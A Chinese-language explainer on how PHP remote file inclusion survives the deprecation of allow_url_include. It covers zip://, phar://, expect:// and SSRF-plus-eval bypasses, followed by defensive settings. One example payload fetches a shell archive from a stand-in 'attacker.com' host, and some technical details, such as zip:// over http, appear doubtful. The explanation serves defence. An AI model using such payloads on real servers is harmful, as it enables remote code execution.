allow_url_include被弃用不等于RFI消失，攻击者可通过zip://、phar://、expect://等伪协议或SSRF+eval组合绕过，防御需禁用危险函数、收紧伪协议、严格路径校验并遵循最小权限原则。
有，但门槛更高、依赖更强的环境配合。
allow_url_include 被弃用 ≠ RFI 彻底消失
PHP 7.4 确实将 allow_url_include 标记为废弃（E_DEPRECATED），并默认设为 Off。这意味着直接通过 include('http://...') 触发远程文件包含，在标准配置下会失败——但这只是堵住了最直接的路。
攻击者转向更隐蔽的组合利用方式，关键在于：只要服务器上存在可被“重解释”为 PHP 代码的远程资源，且 PHP 环境中启用了其他支持远程读取的协议或扩展，RFI 仍可能落地。
绕过 allow_url_include=Off 的常见路径
-
zip:// + .php 扩展名欺骗：若
open_basedir配置宽松或未启用，攻击者可构造zip://http://attacker.com/shell.zip%23shell.php，让 PHP 解压并执行远程 ZIP 包内的 PHP 文件； - expect:// 协议（需安装 expect 扩展）：虽不常见，但在某些运维环境里存在，可直接执行远程命令；
-
phar:// 协议 + 反序列化链：上传恶意 Phar 文件到目标可写目录（如临时上传区、缓存目录），再通过
phar://加载触发反序列化，间接达成远程代码执行效果； -
配合 SSRF 或服务端模板注入（SSTI）：RFI 不一定非得靠 include 函数本身，如果应用存在 SSRF，可让服务端请求攻击者控制的 HTTP 接口返回恶意 PHP 内容，再由其他逻辑（如
eval(file_get_contents(...))）执行。
真正决定 RFI 是否可行的核心因素
- php.ini 中 open_basedir 是否限制严格：它能阻止 zip://、phar:// 等伪协议访问外部地址；
-
是否启用危险扩展：如
expect、curl（配合后续 eval）、gd（配合图像元数据注入）等； - 业务逻辑是否二次解析用户输入：比如把 URL 存入数据库，后台任务再用 file_get_contents + eval 处理；
- Web 服务器与 PHP 运行环境是否隔离不足：Docker 容器若挂载了宿主机敏感路径，或使用 root 权限运行，会放大任意文件读取后的危害链。
防御重点不是“关开关”，而是“断链条”
只依赖 allow_url_include=Off 是远远不够的。必须同步做：
- 禁用不必要的协议：
disable_functions = curl_exec,exec,passthru,system,proc_open,shell_exec,pcntl_exec； - 收紧伪协议：
stream_wrapper_register()不应暴露给业务代码，生产环境禁用expect://、限制phar://； - 路径校验闭环：
realpath()+ 白名单绝对路径 +basename()防穿越，三者缺一不可； - 最小权限原则：PHP 进程以非 root 用户运行，web 目录禁止写入，日志和 session 目录独立隔离。
php免费学习视频：立即使用
踏上前端学习之旅，开启通往精通之路！从前端基础到项目实战，循序渐进，一步一个脚印，迈向巅峰！
